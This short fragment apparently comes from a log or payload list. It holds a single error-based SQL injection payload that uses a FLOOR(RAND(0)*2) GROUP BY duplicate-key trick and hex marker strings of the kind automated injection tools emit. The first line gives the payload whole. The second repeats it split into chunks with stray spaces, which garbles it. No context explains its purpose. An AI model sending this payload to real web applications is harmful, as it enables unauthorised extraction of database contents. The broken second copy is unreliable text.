(SELECT 1897 FROM(SELECT COUNT(*),CONCAT(0x7162787171,(SELECT (ELT(1897=1897,1))),0x71787a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
(SELECT 1897 FRO M(SELECT COUNT(* ),CONCAT(0x71627 87171,(SELECT (E LT(1897=1897,1)) ),0x71787a6a71,F LOOR(RAND(0)*2)) x FROM INFORMATI ON_SCHEMA.CHARAC TER_SETS GROUP B Y x)a)